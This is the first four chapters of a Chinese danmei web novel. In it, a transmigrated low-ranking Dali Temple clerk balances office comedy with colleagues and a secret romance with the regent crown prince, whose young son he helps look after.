《被迫嫁入反派阵营》
1. chapter 1
“唔呜…哈…”
晏城仍能回忆起来,指节紧绷,揪得他肩膀发痛。
即使忍耐到了极限,那人也不会做出越过身份的动作。
声音压得很低,溶解在浸透唾液的衣角,与痛得无知觉的指尖。
“哈…”
晏城重重捂住脸,怎么又想到那儿去了!拍了拍微有烫意的脸颊,甩去所有杂念,提笔专心处理公务。
同僚瞧他傻样,乐呵道:“今日犯了哪位城隍爷,引得你欢乐至此?”
晏城摆摆手:“陶大人别提了,都怪我昨日不该,不该在城隍庙前放浪。”
“哈哈……”陶严笑了许久。
昨日下值,两人为城西新开的烧饼铺同伴而行,途径香火旺盛的城隍庙。陶严打量日头还早,想进去拜拜,讨个好喜头。
最主要的,还是想升官发财,娶得美娇娘。
陶严还想拉着晏城去拜拜,谁让晏城自熹始二十三年起,小祸不起,大祸不断。
可次次大祸,晏城都能安然无恙避过,轻则遭贬,重则夺俸几月。
认真上值好几月,一次犯错,全部白干。
福祸相依,晏城虽被次次被中,但具非主犯,贬不出京城去。
这般想着,陶严含泪紧握他手:“几道,你是有些好运在身啊,可否让清肃沾沾喜?”
“不求高官厚禄,只求平安度过此生。”
陶严从钱袋里数出几枚铜钱,投入功德箱,虔诚拜在蒲团,与城隍爷细说。
穿书前在红旗下长大,不听神鬼佛说,只听马列箴言,晏城对拜佛这件事,曾只专注于一夜暴富,立马上岸。
今个时候,早上岸成公务员,权高不说,至少有官职伴身。
暴富一说,有人支持,晏城少有担忧钱财一事,知足过后便常乐。
自是不用求神拜佛。
对于陶严的邀请,晏城晃着手心:“城隍爷日夜操劳,每日听取的诉愿如此之多,我还是不打扰城隍大人。清肃有求,便上吧。”
说完,晏城走到城隍庙外,取几枚铜钱,买了些零嘴,站在庙口就吃了起来。
回忆至此,晏城无奈捂脸:“我哪知道,不可在庙前用食。”
又回想起昨日入肚的烧饼,晏城捧着脸:“那李记烧饼确实不错,也难怪昨日那多人排队。”
“几道你昨日吃到了?”陶严不敢相信,他们昨日可是一同离去的,只因李记烧饼火热,早早卖完。
“……”
晏城不知该怎么与同僚说此事。
他没吃到正宗李记制的烧饼,但有人瞧他垂头丧气,连夜买了李记烧饼的法子。
又令厨艺全天下最佳的厨子为他炮制,在就寝前,晏城满是欢喜、满是惊奇吃到了。
不仅如此,他还吃到另一种美味。
那人颤着身体坐在他怀里,唇齿紧咬,忍受他给与的一切。
晏城抹抹脸,眼珠子转悠到另一旁,不敢与陶严对视:“家人知我嘴馋性子,早早为我备好,所以……”
孤身一人在京城,无人关心的陶严重重靠着椅背,唉声叹气:“这种喜事几时能轮到我,月老可否瞧我一眼!”
要不换成丘比特?
晏城在心里笑说,但面上顾及同僚情谊,紧咬下唇不出声,默默拿起书挡住脸,不敢笑。
他虽不敢笑,但总有人敢。
“可别拿你那琐事叨烦月老,也不照着镜子,看看自己的长相。”
陶严往出声处去寻,只见大理寺寺正殷少宿捧着一堆文书走进,眉目紧锁,不喜地看向旁边人。
寺正属从五品下,勉强可算陶严长官,面对殷少宿,自是忍受不出声。
但仔细观察,正经的殷寺正从不参与他的笑话中,定然不是殷寺正出声。
避开半人高的文书,陶严将目光落在殷寺正旁的人儿上,考入大理寺不久的钟旺。
陶严大声声讨:“旺财你小子,有事怎让你上司干?”
一声落,惊起不少新仇旧恨。
钟旺高昂着头:“陶大人你怎这样,给人乱取外号,算什么君子所为!”
“而且旺财,那不是门口狗的名字吗?”
陶严不在意何谓君子,站起来囔囔:“你先前所为便是君子道?什么叫让我照照镜子,陶某虽不能与潘安相提,但也能勉强与几道有来有回!”
“……”
“……”
不止钟旺语哽,连搁置文书的殷少宿也静默不语。
整个气氛,俨然像被喂了哑药似的,无人敢打破。
好在大理寺卿无畏闯入,拎着份方从膳堂包好的烤鸭,听陶严那番高话,忍不住气喷:“清肃,你何不瞧瞧自己,脸如饼之大,也好意思与人几道比。”
“人几道高中状元那日,掷果盈车,美花洒满长街,可谓风光无限!”
“!”
钟旺小声问晏城:“晏大人居然是状元!怎落得从七品的主薄下场?”
“……”
“此中繁琐过多,不好与你细细道来。”
“不对啊,殷大人当初也才同进士出身,今日都高坐五品官位了。”
钟旺实在不解,揪着衣角想不出个所以然,低垂眼角,试探性望向带他的上司,渴求得到个回答。
而那旁,被大理寺卿好一顿说的陶严静默许久,眼眶涩红,吸鼻声不断,捂着嘴唇抽泣:“范大人怎可这样对我,我、我就真是你们嘴里那般不堪吗?”
已不是要哭出来,而是泪流满面,涕泗横流。
起先只是雨点大雷声小的躁动,伤害由自个承担。
慢慢的,哭声越发明显,震动屋外的边檐,蹲守门口的旺财也被惊动,汪汪不知朝向谁。
“为什么…为什么要去招惹陶大人!”
殷少宿不满地看向大理寺卿,压低的眉眼震慑感强,伴着陶严的哭声,直直扑向大理寺卿。
大理寺卿被吓得气矮,转眸看向晏城。
哪想他已拉着钟旺衣角,捂头藏在桌案下,藏得死死,连发丝都不敢被瞧见。
钟旺不理解,但听话地追随状元郎脚步,不挪动半分,连殷寺正唤他也不出。
凑到状元郎耳旁,钟旺问:“陶大人素来如此?受了欺委,当场发作?”
晏城点头又摇头。
钟旺不解,眸眼里的困惑几要溢出。
“其他琐事清肃不在意,只样貌一事。清肃少时听长辈夸耀过多,
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对自己形成过多认识。”
晏城总结归纳:“自恋而已。”
“哦。”钟旺点点头,暗暗记下,下次坚决不冒犯陶严。
不比潘安,状元郎又貌美,钟旺想起熹始二三年的探花郎,可以冒昧拿来称赞对比一番。
想着,心口一痛,钟旺捂着认为,那大抵是被旺财窃取的良心。
陶严一发威,大理寺再度荒废,整个寺内只听陶严的哭诉声。
正经的殷寺正无奈,英勇献身,站在陶严身边,用尽此生修养,轻声细语安慰。
每次安慰,都是一次自我欺骗,掩耳盗铃。
而大理寺卿拎着的烤鸭,被殷寺正无情夺去,作为陶严的安抚补偿。
大理寺卿欲哭无泪,满脸的委屈。
“这荒唐事又不止本官一人,旺财不也参与了?”
不等殷寺正瞪他,钟旺探出头,恶狠狠瞪向大理寺卿:“范大人,别逼我,我也是会哭的!”
“……”
“…………”
执掌大理寺的大理寺卿范某,扯着衣袖捂脸跑出,无人追上,只门口的旺财汪了他几声,算是呼唤。
大理寺归为平静的那一刻,下值的滴漏水声起,陶严想起还得跑去城西买烧饼,才从殷寺正怀里起来。
满袖具是泪水,殷寺正叹出一口浊气,目送陶严欢喜地往外走,后拎着钟旺,处理搁置许久的文书。
“诶?我也要下值!”
钟旺愤愤,挣扎着要逃,但身手不如殷寺正,垂着脸被殷寺正拖走。
临走前,还与下值的状元郎打了声招呼。
“可怜兮兮。”
晏城捂着心口,含笑为钟旺打气,怜惜他所遭受的一切。
但,这又跟他有么子关系,反正他下值了!
下值的欢乐非言语能刻画,晏城回家路经热闹的街市,每每近夕阳时,官僚下值时,他们便探出头。
那架势,晏城直呼,大学美食一条街。
不过今日,晏城没如往常那般,从头买到尾。
拒了无数摊主的投喂,带着空腹,晏城快快赶回家中。
只门口,便嗅到烹饪食物的香味,不负他冒无数人抗议,将厨房设在前门。
下值后回到家,闻到食物香味的那种满足感,是某人永远不能体会到的快乐。
早春的花还未开满,栽在石道旁,稀稀疏疏,只青绿点缀,不落得春失约,画幅无主。
晏城学不来赏花的乐趣,走过春花,踏过青叶,在石山的隐约中,有人在等他。
怀里还抱着不过五六岁大的孩子,大致刚梳洗过,垂落的发丝还带点湿意,旁边服侍的黄门用巾帕,一次次擦去。
石桌旁还跪着个小黄门,捧着香炉,热意混着熏香,拂干他的缕缕发丝。
“今日怎回来得这般早?”
听见晏城脚步声,他抬眸望去。
曾经淡漠又裹挟权欲的丹凤眸,此刻平缓,似刚才吹拂的春风,带着细微的凉意。
哪怕再温柔,也不能掩盖他身上权位带来的威慑。
不过,晏城早已习惯,接过黄门的巾帕,以手为梳,慢慢梳理,又缓缓擦拭。
“殿下……”
2. chapter 2
垂眸望向将干的发丝,早春的夜风不散凉意,这般坐在院子里,受风吹拂,不得受寒。
晏城担忧,缕缕发丝散落指腹,未语,静静梳理。
他学不来控制自己,情绪外露致使动容,紧抿下垂的嘴角,不开心溢于言表。
谢知珩抬眸瞧了一眼,笑意在眸底流转,在握住他指尖时显露,轻声说:“李公公才唤人熬了碗姜汤,不打紧。孤的身子骨,孤怎不会在意。”
话语才落,李公公端来一碗姜汤,递给谢知珩:“殿下。”
转身又从托案端来一碗,蹲下身,与缩在谢知珩怀里的孩子道:“小殿下,你更该喝一碗。”
“嗯嗯!”小殿下欢喜地应和。
伺候他的奶姆舀了小勺喂进嘴,姜的辛辣味,对味觉敏锐的幼童来说,本是刺激。还未喂嘴里,小殿下嗅到那味便抗拒,眼角烧红,含泪往谢知珩怀里钻。
“嗯嗯…”
小殿下摇头拒绝,不管奶姆来劝,还是李公公安抚,都不肯回头。
“不要,太辣啦,楠楠不喝!”
揪着谢知珩衣领,小殿下抗拒不已。
李公公无奈,接过谢知珩递来的空碗,垂首继续哄着谢以楠:“小殿下快看,一点也不辣,殿下都喝完了。”
“不…父王不挑挑,都能吃!”谢以楠冒窜半个头,润润的瞳眸盯向晏城:“城城尝尝,他喝我就喝!”
“嘶——”
无辜被牵扯,擦发的手顿住,被众人围观的晏城,不敢回答。
姜汤味浓,即使站一旁,谢知珩饮下时,他都能闻到那姜的辛辣。
熬制姜汤的厨师,他手艺的高超,晏城敢以项上人头担保,味道绝对不逊色,奈何他本人不爱葱姜蒜,除非蘸火锅。
求救的眸光投向谢知珩,晏城希望这位闹腾殿下的父亲可以出个声。
可惜,谢知珩忙于处理看不到终点的公务,手捧的奏折壳是红色,着急处理,晏城无法打扰。
“城城……”
小殿下还在唤。
殿下……
晏城眸眼含泪,情浓的桃花眸里孕育着水雾烟云,泛红的眼角,像极了烟云的里红灯笼,勾人心向。
谢知珩放下奏折,指尖抚过孩子的软发:“别闹腾,你今日受了惊,夜里风寒,李公公是担心夜里你害咳。”
面对父亲,谢以楠不敢撒泼,垂着头乖乖等奶姆喂姜汤。
嗅着辛辣,含着嘴里却甜丝丝,谢以楠惊喜地抬起头,晃着腿,迫不及待端碗要喝。
喝了一小碗还不够,谢以楠求着李公公再端。
李公公笑着摇头,他身后有宫人捧着托盘,非姜汤,而是早早备好的膳食。
用膳时,奶姆将谢以楠抱去,李公公收拾桌上的奏折放回木箱封存好,再一一布食。
腹中早已饥饿,晏城不等宫人布筷便坐上,自顾倒了盏茶水漱口,持筷望向道道精巧的餐食。
东宫小厨的手艺可堪一绝,又有晏城数月如一刻的尽心教导,传承数千年的厨房技巧,配上宫廷御用的珍惜香料,烹制出的食物,曼上鼻尖。
只是现在还不可动筷,需等小太监尝过有毒否,才可使筷夹菜。
规矩很多,等尝完,菜色略有些冷,没了刚出锅时的热气,晏城总觉少了点什么。
小太监朝李公公点点头,确保无毒,李公公才执筷为谢知珩布膳。
每次下筷不多,搁在白碟中又不凌乱。每每瞧去,晏城总以为李公公在画水墨,留白的笔法被他灵活至此。
等谢知珩吃进第一口,他们才敢陆续进食。奶姆搅和汤饭喂给谢以楠,晏城大快朵颐。
经过如此多的折腾,饭菜也没冷到哪去,底下有滚水温着,宫人不至于让主子用冷食。
未到寒食节,哪敢如此怠慢。
满桌的美食,边上那鱼肚堆成的白玉山,可是新上供的早春黄鲤,取最鲜嫩的一块,经高汤烹煮才制成。
晏城就好这口,才满心满意赶着回来。
捻着竹筷,晏城双手合十。
真是一道大餐,感谢殿下恩赐。
用过膳食,谢知珩仍是处理白日的公务,而晏城抱着谢以楠缩在书房一角,摊开本《三字经》,一页一页学来。
只是,非晏城来教,谢以楠来学。
两人皆可算是学生,凑到一起学习。
谢以楠为太子独子,开蒙定然是当世大儒为他启,授课学到的知识,打晏城个现代人绰绰有余。
作为文学生,勉强识得古音律,已是授课教授毕生所赐,怎可与真古代人相提并论!别说当世大儒。
“真是这个读法?”
晏城不解,再次询问。
谢以楠听不得他人质疑,捏了晏城脸蛋一把,扯着他头发说:“太傅是这般读法,城城若有疑问,要不去问问父王?”
晏城讨笑,求饶似的握住谢以楠的小手:“抱歉抱歉,太傅学富五车,才高八斗,岂是我能质疑的对象?”
“还要不要再听了?”谢以楠问。
晏城:“自然自然,小谢先生还请慢慢教来。”
与小殿下学过《三字经》后,后半夜还得与殿下学那所谓四书五经。
不局限于书本,还有历朝历代大儒的注解,如今大儒与各派的解读。
可谓,人生很忙,忙学到老。
“可以不学吗?”
被诸位大儒的注解烦到心口疼,晏城埋在谢知珩颈窝里,闷闷出声。
两人极其亲密,殷红的单衣覆在谢知珩明黄的太子外袍上,发丝间的龙涎香弥漫,让晏城安神。
晏城转眸盯了谢知珩许久,浓墨的凤眼低垂,落下的阴影遮掩大半,看不透他眼里的情绪。
唇瓣偏粉,或许是他常常抿嘴不笑,那抹色不太明显,配谢知珩冷白的肤更好。
太白,显得他体弱。
晏城心里不快,指尖点在谢知珩下唇处,又缓缓往前挪动。有遇障碍时,不用等太久,主人家自然为他开启,含着半根指节。
热息滚烫,指腹湿润。
晏城勾住谢知珩的脖子,抬起身体,将人压在枕被上。
拇指沿着唇线,轻又慢的按压、摩挲。
因着晏城,唇齿缓缓张开,呼出的龙涎香太浓郁,惹得满屋都是。
“呜哼!”
谢知珩控不住,紧紧抓住晏城散开的衣角,声音碎得听不见,勉强呼吸都难。
写满笔墨的经书被推耸一旁,极其珍贵,是谢知珩私藏的珍品。
谢知珩翻身要去拿,掌心刚覆上,指尖堪堪扯住那一页。还没翻开,就被收起,放在枕边,松墨香搭着龙涎,绕在鼻尖。
“楠楠今日怎受了惊?”
晏城记着他曾说过的话,若非受惊又遇寒,晏城怎会突受那一场姜汤的无辜牵连。
谢知珩咬着唇,气息沉重,未开口。
还是晏城迫切想知道,逼谢知珩开口,才通晓上下终始。
“……”
“有人误闯东宫,被孤赐仗杀,让人带他看着。”谢知珩回。
晏城担忧:“未免太小了。”
眸光破
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散,聚不成星点,谢知珩竭力握住那一点。
谢知珩:“不小,他虚以八岁,该成长些了。”
“今年不才五岁吗?”
年龄往上加太多,晏城一时吃惊。
谢知珩扯着晏城垂落眼角旁的发,又怒又笑地说:“换换你的心思,孤这边以虚岁来算,非实岁。”
“哦……”晏城埋头,语音尾调低长,带着细微可察的情绪。
吻着谢知珩被咬破的唇,晏城说:“对不起,我还是无法逃脱……”
谢知珩回吻:“没关系,毕竟你生活在那边,二十又一年。它们留在你身上的痕迹,太多,太久…”
“嗯!”
谢知珩大口喘气,想忍下身体里的怪异,但无法,只能软在床褥中,重而失力。
连眼角的泪都控不住,淌过软枕,浸入孤本,方写的小字在纸上泅开。
一息远去,谢知珩接过李公公递来的水,靠在晏城怀里,一页一页翻着那本孤本,触及那些小字,有些可惜。
晏城却着实不想再看到这密密麻麻的小字,收着谢知珩的手,再盖上。
“不是珍贵吗?存放在东宫不更好。”晏城问,其中的小心思不用猜。
谢知珩瞥了他一眼:“孤已让人抄录一份,明日上值可带上,孤会考你。”
“不……”
晏城紧紧搂抱住谢知珩,抗拒不已。
谢知珩拍拍他的脸颊,笑说:“好在你治《论语》,而非其他经学。”
“嗯,我也庆幸。”
《论语》在现世的地位从教科书中便能得知,晏城学古代文学时,授课教授也是位对《论语》颇有见解的大拿。
所以,晏城无需从头再学,只需跟着谢知珩,步步往前,走到本该有的知识域里。
“也幸好,熹始二十三年,是由你殿试。”其中可操作的空间太大,有谢知珩担保,无人敢质疑晏城的身份。
一时心喜,晏城抱住谢知珩不松手,指尖点着唇角,要吻上。
谢知珩却推着他,起身要走。
“干嘛去?”
晏城不解,问道。
谢知珩拉拢衣领,在李公公的搀扶下站直身,回:“还有公务没处理,不用守孤,困便睡了。”
看了眼滴漏,晏城说:“这都很晚了,明日再处理也行。”
谢知珩摇摇头:“明日有明日的事务,不能拖太久。”
在他额间一吻,谢知珩说:“放心,孤不会看太晚,会睡几个时辰。”
晏城心知无法阻拦,抱着被褥,在帘纱的模糊中,目送谢知珩的离去,往书房去。
也许,是乘马车回东宫去。
谢知珩不会将太重要的事物放在宫外处理,不安全,怕有所泄露。
“也太累了吧,殿下。”晏城担忧地低声道。
他该起身去送送,谢知珩太累。
帝王重病,养在艳阳宫许久。
天后病逝已六年,底下皇子年幼。
大皇子早早被封出京城,远离权力中心。
目前,也只谢知珩一人支撑这诺大的王朝。
也好在,自熹始十九年,太子监国已有六年之久,几乎可称无冕帝王。
“熹始十九年……”
晏城喃喃,没用古音律,而用千百年后的家乡乡音,让旁人难以听清。
十九年,是个充满变故的年份。
它是一切罪恶的开始,将整个故事往正规推动。
诺大的官道上,是有人疾驰奔跑,连风都吹乱发髻,不再稳重。
3. chapter 3
凌晨时,因宵禁,京城少了些许晏城嘴里的灯火通明,闹市繁华。
挂在淮阳巷的灯笼也不如前夜亮红,行人踪迹稀少,只更夫敲着锣,徒步走过每条街道。
负责夜间巡逻的五城兵马司,各派一支小队,在京城的五个方向巡逻。
谢知珩回宫时,碰巧遇到诸城副指挥使与史目。他们脚步坚定,在各街坊游走,管巡捕盗贼,囚犯火禁之事。
街无跋扈,夜无小贼,百姓于皇宫脚下安居乐业。
瞧见街巷的马车,副指挥使也得派人询问几番,探清身份后,确认东宫腰牌,他们才肯放人。
见小队的身影于黑暗中隐退,李公公轻笑着与谢知珩说:“齐副指挥使有些不近人情了。”
谢知珩合上绿壳奏折:“这样不好吗?”
李公公酌了壶浓茶,答与太子:“自是好的。”
浓茶提神,谢知珩饮了盏,揉过疲倦酸涩的眸眼,才哭过没多久,又干涩起来。
听着晏城的建议,谢知珩捂着眼睛,使劲眨巴,润润眼眶。
在他揉缓眼睛时,马车越过守皇宫的羽林卫,进了东宫。
谢知珩下马车那刻,东宫所有烛火点起,照亮他前去书房的道路。
宫人拎着灯笼在前,坐守东宫的秦嬷嬷在谢知珩身边,禀报他不在东宫的一切事项。
“那位又在闹了。”秦嬷嬷低声说。
浑身的疲倦听了她此话,又再次曼上谢知珩全身,自心口的涩痛流至四肢,指尖也酸麻,难以紧握。
坐在扶椅上,李公公为他按摩肩膀的酸痛,谢知珩捏着眉心:“他又在闹什么?”
秦嬷嬷抿唇,弯身附在谢知珩耳旁,低声细语。
“呵!”
谢知珩从喉咙吐出这口气,笑意嘲讽,眉眼不再受困而平缓,顿时尖锐起来,搭着他锋利的眉眼。
搁在扶手处的手握紧成拳,谢知珩轻笑:“想见楠楠,也不想想自己当初犯下的罪事,不想想自己是否配吗!”
“那些妃嫔诞育的皇子,还不够他演玩天伦之乐的把戏吗!”
只觉疲累。
闭眼回缓许久,谢知珩摆摆手,侧头与秦嬷嬷说:“大抵又是谁在他耳旁吹枕边风,将艳阳宫的人处理下,当着他的面……”
“白纸敷面—”
秦嬷嬷垂眸不语,宫室内仅有李公公揉捏肩膀的细碎声,烛火也被压得将熄。
等秦嬷嬷退下,谢知珩又接过递来的浓茶,茶味更浓郁,灌入只知满嘴苦涩,刺得头裂,眼明。
李公公将灯火挑得更亮,捧着站在谢知珩身旁,低垂眼帘。
谢知珩翻开一本本奏折,执朱笔批阅。
早春的寒意真凉,殿旁烧灼的银丝炭也驱不了太多冷风,李公公只得唤人将风关好,只余那一条缝,散开炭火的烟。
就那缝,高阳于德阳殿起,悬挂在政事堂,抬眸又是一夜天清。
谢知珩轻散积攒一夜的浊气,撑着处理完的奏折站起,迈步走进浴堂。
“殿下。”
洗漱后,再次饮下李公公捧来的热汤,谢知珩展开双臂,在整理衣襟的缝隙中,闭眸养那细微的神。
今早是次大朝会,谢知珩需撑起倦累的身子骨,认真对待。
希望,六部尚书看在身后属官的面上,别再吵吵闹闹跟个菜市口一般。
又再次希望,户部尚书别再与人争执起来。
与熬了一宿的谢知珩不同,晏城送人出府后,搂着谢以楠睡了起来。
小孩多觉又浅,便没带谢以楠回宫。
谢以楠幼时与奶姆同眠,略大些,单独一个宫室,少有与人同床共枕的时刻,更别说还是与年长许久似父亲的男子。
母妃难产早早逝去,谢知珩情薄,过多忙碌,甚少陪伴他。
只在这晏府,谢以楠才有片刻的父子欢愉,不再一人同寝。
若非如此,谢以楠怎会接受这个纠缠父亲的男子,又怎么会那般亲近!
在奶姆的轻声劝语中,谢以楠睡眼惺忪,揉着眼睛从晏城怀里挣扎着起来。
见晏城还熟睡,谢以楠推着他,喊他起床:“城城快起床,上值要迟到了!”
早睡不愿,早起难搞。
晏城翻了身,抱着被褥埋头更深,手心掩着耳朵,装作没听见。
谢以楠性子上来,他被奶姆唤醒,怎可再留人安睡于塌间。
两相对比,谁人来瞧,自能看清哪更舒适!
“不——城城也要起来,楠楠不想自个一人回皇宫!”
谢以楠拔着晏城未束的长发,妄想将人拉出周公境内。可他人小力不大,扯着头皮只点刺痛,柔发散在他肉嘟嘟的小手指,若丝绸般抓不紧。
于指中溜走,扇状铺在被褥上,晏城感知到痛意褪去,揉着带水雾的桃花眼,轻打哈欠,看向谢以楠。
“这般早起,没虫吃,也没鸟儿瞧。反正今早大朝会,殿下太傅不会早早到东宫去,你也可暂睡会儿!”
大朝会,京内六品以上官员皆得参会,主商讨些重大决策,或帝王接受百官朝拜。
只是帝王重病在塌许久,近几年来一直是太子越俎代庖,主持大小朝会。
每十日一开的大朝会,对只从七品的晏城来说,是不用早起,可睡懒觉的最好日子。
如果那日能下雨更好,阴雨与懒觉更适配。
又想谢知珩需去太极殿,雨若大些,晏城怕他遭寒害病。
翻个身,将被褥拉至额前,晏城轻声说:“还是别下雨,阴天更好,不冷也不热。”
早起的拉锯战,以谢以楠被奶姆抱走,晏城继续熟睡在床来确定胜负。
谁让皇孙不可在宫外待太久,怕贼人反应过来,刺了这独苗金饽饽不成。
不过晏城也没偷懒觉太久,等谢以楠坐上马车后,命厨房端上早膳,搁放桌面,透过垂落的纱帘,勾得晏城鼻头嗅嗅。
“怎使这招!”
晏城无奈又气怒,翻身而起,赤脚踩在铺满整屋的软毯上,走到桌前,拿小筷夹吃起来。
用过早膳,晏城没了再睡的欲望,收拾好自己便往大理寺走。
上值去!
赚俸禄去!
可临出门前,小厮递交给他个书袋,垂眸说:“老爷嘱咐,让少爷带去大理寺,还说过几日,考校少爷。”
“……”
晏城磨磨蹭蹭,扭扭捏捏,就是不愿接过这书袋,仿佛里面装满了洪水猛兽。一打开诡异就会扑面而来,吞吃他个小玩意不吐骨。
又想起谢知珩使在他身上的把戏,很舒服也很爽,但不可长久,有违可持续发展道路。
晏城瘪瘪嘴,有气无力伸出手,拎起书袋一角,垂头丧气,不复出门的精神气。
入了大理寺,今个部分同僚不在,略显冷清,堂内只陶严捧着烧饼,边吃边盖章,或用朱笔打个圈。
烧饼味浓郁,晏城一闻便知是那李记头牌烧饼,忙凑到陶严身旁,讨要小块。
边往嘴里塞,边含糊说:“李记不在城西?你家住城东,可绕了个大圈子。”
“无碍,今绵雨不歇,如月老红线,与某纠缠不清,某自是早起多沾染些。”陶严回。
可别受寒了……
晏城一噎,陶严对婚嫁之事还是太过狂热,连今早的雨,都能当成月老撒下的红线。
又凑到陶严跟前,问:“那今早可有遇到佳人?月
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老亲自赐缘,清肃不可辜负!”
“……”
陶严不再言,胡乱将烧饼塞进嘴里,速速咀嚼咽下,不给晏城闻丝缕饼香。
“……”
有必要这样吗?
大早上出门,外头又落水,碰不到心水伊人,不很正常!
晏城无语,坐回工位,直面眼前堆积的公文,以及被他扔在桌上的书袋。
哪个他都不想打开,工作与学习,如巴掌与逼兜,都不可兼得。
转眸瞧陶严心无旁骛,专心致志处理公务,晏城撑着脑袋,扯开书袋,掏出抄录的那本注解,一页比一页慢地翻阅起来,
大理寺日常没太多琐事,主薄不用跟随外出查案,最多呆在寺里翻查旧档。
大朝会期间,上司忙于参会,更不可能盯梢底下的属官,晏城落得个清静。
上值的人稀稀拉拉,钟旺上值比谁都晚。可看他眼底的青黑,昨日被殷寺正拉在寺内东忙活,西忙活到很晚。
此刻打着哈欠,捞着旺财站在堂内,不拘小节,盘腿靠着大柱,要睡不睡的模样,可怜至及。
与他争吵过的陶严怜惜不已,忙劝道:“旺财要不去里屋睡会,今日事物不会太多。”
钟旺摇摇头:“殷寺正昨日跟我说,有要事找我,让我下朝会后,在寺内等他。”
“可怜见的。”陶严走过去,满眼担忧扫了钟旺那黑青许久,拉着钟旺就往里屋走。
晏城仰靠椅背,挥手与钟旺说:“去吧,殷寺正来了,我去唤你。”
两位主薄举止的强行,让钟旺摆脱不了,有人盯梢,他也懈了肩头的紧绷,跟着陶严到里屋去。
里屋是大伙查案过了宵禁时,短暂的休息房间。
前些日子,几个大汉胡乱躺在大铺中,酒水味尚未消散,不等钟旺嫌弃,陶严最先受不了,连忙捡起这些被褥,强行塞到廊外,任春雨滴灌。
“这些家伙,每次都不整理一番!”
陶严从角落里掏出张卧塌,木柜里取出新洗晒过的床褥,直接铺上,不给钟旺半点挪动脚步的机会。
又不让他人打扰,拉来屏风遮掩,燃起晏城友情相赠的熏香,熏去这些酒味。
见屋子勉强能入住,陶严才转身看向钟旺:“只能整理出这些,苦了旺财你!”
钟旺被感动得眼睛汪汪,注入春雨似的,连陶严嘴里的外号都忘了反驳。
如此温柔,如此体贴,比劳累苦力的殷寺正还要好!
原谅你了,陶大人!
你是大理寺内,对我最好的人!
安顿好钟旺,陶严踢了那堆被褥好几脚,无奈抱着去洗衣房,等洗衣嬷嬷来,塞给她。
陶严略有不好意思,多塞了几枚铜钱:“又麻烦你了。”
洗衣嬷嬷摆摆手:“不算什么,还得感谢陶大人为我寻的好差事。”
回办事堂途中,陶严碰巧遇到来唤醒的晏城,拦住他,问:“殷大人下会回来了?”
晏城点点头,两人跟着一起到里屋。
只是站在屋外,要推门时,晏城又拦住要走进的陶严。
“?”陶严不解。
晏城不适地挠了挠下颌,试探性说:“要不我们敲会儿门?”
陶严:“旺财大抵睡着了,敲门他听不见。”
“呃……我还是认为得敲下门。”
晏城坚决,不肯直接推门。陶严无奈,只好曲手在门上敲了许久。
不见有人开门,也没听有人走动的声音。
陶严挑了挑眉毛:看,我就说会这样,我比你懂他们。
没了拦人的理由,晏城往后退几步,伸出右手,做邀请的动作。
“请!”
4. chapter 4
一踏入里屋,酒味混着点燃的熏香,扑鼻直来,杂糅的香味让人鼻尖耸动,春风的清新也驱不走,晏城捂着鼻,皱眉不已。
“嘶——”
晏城几乎犯呕,忙跑到窗前打开,使屋内气流通畅。
也不知钟旺,是怎么在如此恶劣的环境下睡着的!晏城对他,略有些怜惜。
直叹可怜。
陶严同样皱眉得很,在鼻尖扇去这些浓味,又疑惑着,他关门前,明明将窗户打开,通了会儿风。
又想,他大抵开得太多,寒风袭来,钟旺睡梦中也不觉暖意。
还需走过一屏风,晏城以还得给钟旺些许隐私感,阻了陶严推开的想法。
站在屏风外,伸手在折木处敲了许久,晏城大声喊:“钟旺,殷大人已下朝,到该起来的时候。”
他声音虽大,却只引起屏风内钟旺细微的翻身声,仍旧埋在枕头里轻浅呼吸。
太过温柔,陶严对此颇有困惑,自个这同僚啥时如此温柔,每次喊人起来,不都是大开门窗,掀被子,让冷风送醒意。
你小子有点不对劲,陶严挑了眉,与晏城对视。
“……”
晏城连忙伸手画叉,彰显自个清白。
他可是有对象的人,当不得陶严这等造谣!
陶严回头,站在屏风前:“旺财快起床,小心殷大人拿靴狠狠踢你,殷大人这脚法可厉害了,等会你别站都站不起!”
殷大人啥时这么干过!
晏城霎时看向陶严,精致眉眼间的困解,如蒙蔽青山的云雾,花瓣形的眼眸睁得老大。
但殷少宿名一出,还熟睡的钟旺蹦跳着从床上爬起,透过投在屏风上的身影,可瞧殷少宿对他的折磨,几乎成了少年青葱梦境里的恶人。
边捞过枕旁的外袍,双腿重重套进靴子,跺跺脚,勉强把脚跟挤进去。
“马上,马上!殷大人等会,我已经起了,在路上了!”
绑头发来不及,钟旺抓着凌乱的发丝加快梳理,又忙乱着左脚右迈,右脚原地不动,快步走出屏风。
刚到屋间,敞开的门窗没瞧见殷寺正紧皱的眉眼,只见两位主薄站在眼前,一位不爽地看他垂落的长发,一位含笑靠着梁柱。
心头的大石落下,钟旺重喘着呼出一口大气,扯着头发说:“我还以为殷大人来了。”
“他没来,你很伤心?”晏城笑问,眸眼上下打量着钟旺。
也不难说,那些女扮男装的影视作品,女主发髻被扯落,鼓风机一吹,女性柔美的气质展现得淋漓尽致,旁人很轻松辨认出真实性别。
想着,晏城担忧地看向陶严,同僚可不清楚钟旺的身份,怕他出手捣乱剧情发展。
陶严倒是有些惊讶,但为的何事,与晏城心想的不一样。
陶严:“扎起!衣衫不整、蓬头散发的,殷寺正可见不得,上次几道被逮住,站在堂内遭骂许久!”
“……”
你想哪儿去了!
晏城心里委屈,瘪嘴不敢言。
上次,那是他起床起晚了,又被人洗了头,怕感冒才不束。
谁知被殷寺正瞧见,说了好一顿,还说幸好没被御史台的豺狼发现,不然一份参奏,够他喝好几顿!
可委屈了,晏城气得一天都不想理殷少宿,缩在里屋等头发干才出来。
参就参!他就是个七品官员,参奏也是上达东宫,谢知珩看了,也不会说他什么!
最多加挨顿骂。
挺身而出的陶严搂着不服气的晏城脖颈,劝导:“殷大人也是为你好,御史台那帮豺狼整日没事干,就盯着我们衣冠。”
“上次还参了乔尚书,参他在小朝会里举止不雅,待君不正,谋害同僚!”
“能有个什么举止不雅,不就乔尚书当朝哭闹,骂得几位尚书不敢还嘴!”
“还谋害同僚,不就把各部上请批款的奏折,扔回诸位尚书大人脸上嘛!”
“大惊小怪的!一日不参个五份,像是割了他们肉似的。”
“……”
感觉自己不参加大小朝会,少了很多热闹可看,晏城在心里遗憾不已。
若没出那档子事,他个二三年状元,也是能入翰林院,最低也能入个礼部,参加个大朝会。
只叹,人无再少年,他也回不到那时候。
思路回到现下,前头担忧许久,怕陶严嘴碎揭了钟旺女扮男装的外壳,晏城才不断阻挠。
但老妈子,只专注钟旺未束的长发,会被殷寺正骂的后果。
